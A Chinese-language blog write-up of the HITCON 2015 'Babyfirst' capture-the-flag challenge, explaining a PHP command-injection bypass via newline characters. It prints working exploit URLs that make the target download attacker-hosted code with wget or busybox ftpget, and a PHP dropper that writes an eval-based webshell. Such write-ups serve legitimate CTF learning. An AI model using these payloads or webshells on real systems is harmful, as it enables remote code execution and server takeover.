[HITCON 2015]Babyfirst

HITCON babyfirst三部曲第一部QQ

<?php
    highlight_file(__FILE__);

    $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
    if ( !file_exists($dir) )
        mkdir($dir);
    echo $dir."\n";
    chdir($dir);

    $args = $_GET['args'];
    for ( $i=0; $i<count($args); $i++ ){
        if ( !preg_match('/^\w+$/', $args[$i]) )
            exit();
    }
    exec("/bin/orange " . implode(" ", $args));
?> 

简单解释下源码,一如既往的orange风格,第一步都是创建sandbox/ip/的目录,然后切换至该目录。下面的代码比较关键,用ChatGPT翻译了下,就是限制我们的输入为数字+字母+下划线的格式,然后就会执行exec(),但它前面有个/bin/orange但不是/bin/bash,会干扰我们后续的命令,但这个好解决,换行符即可,所以我们的payload的最前面必须是?args[]=xxx%0a,这样才能绕,后面就是我们自由执行命令的时刻了。做法有两种,先介绍我复现成功的这种。

方法一:wget下载文件+php执行代码

wget下载文件很简单,就是说你wget url可以下载某个网站的index.html,这里我们也只能这么利用,因为限制了输入,不能有/了。还有个问题就是ip比如127.0.0.1这种格式是没法传的,用十进制转化一下即可。接下来就是这个php执行代码,简单来说就是用php命令就可以以php的格式执行某个非压缩的打包的PHP文件,这样就不用考虑后缀了,举个例子:

可以看到没有后缀的test文件都被以php格式解析了,所以我们的突破口应该就显而易见了,就是在那个可以直接通过wget url下载到的index.html里放恶意代码然后将它用tar打包一下,因为tar打包后就没后缀了,然后php执行即可。

#index.html
<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
print eval($_POST["cmd"]);
?>
');

然后把这个index.html放你vps上,自己本地试试能不能wget url直接下载到。

接下来直接按顺序输入payload即可,详细解释可以看这个师傅的:Babyfirst的分析和解答

url/?args[]=xxx%0a&args[]=mkdir&args[]=exploit   #创建exploit文件夹
url/?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=3232275969 #进入exploit文件夹,下载192.168.158.1的index.html文件
url/?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit  #将exploit文件夹打包为archived文件
url/?args[]=xxx%0a&args[]=php&args[]=archived  #php解释执行archived文件

然后进入你题目沙箱的位置执行命令即可

方法二:利用busybox中的ftpget命令远程下载ftp服务器里的马

busybox ftpget -u ftp的用户名 -p ftp的密码 ftp地址 需要下载的文件名

因此我们只要在自己的vps上搭建一个ftp服务器然后执行命令即可下载木马即可,比如你想下载192.168.158.1上的webshell.php,它ftp的账号密码都是123,用如下命令即可,当然ip还是要用之气那个十进制工具转化一下:

url/?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=%2du&args[]=123&args[]=%2dp&args[]=123&args[]=3232275969&args[]=webshell.php

偷懒的话可以直接用python3里的pyftpdlib模块起一个ftp服务器:

python3 -m pyftpdlib - p 21 -u 123 -P 123

这样就在该目录起了一个账号和密码都为123的ftp服务器,然后在这个ctf目录下放一个带一句话木马的webshell.php即可。但我在腾讯云上起的时候发现使用ftpget只能用ip+端口的形式才能连接,这样就没法用十进制转化了,而且连上去了也没法下载文件,过一会儿就断了,不知道是不是腾讯云的问题,我也没研究明白,不过这样应该是行的通的,毕竟是预期解,具体可以参考这位师傅的:2015 HITCON BabyFirst-复现

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇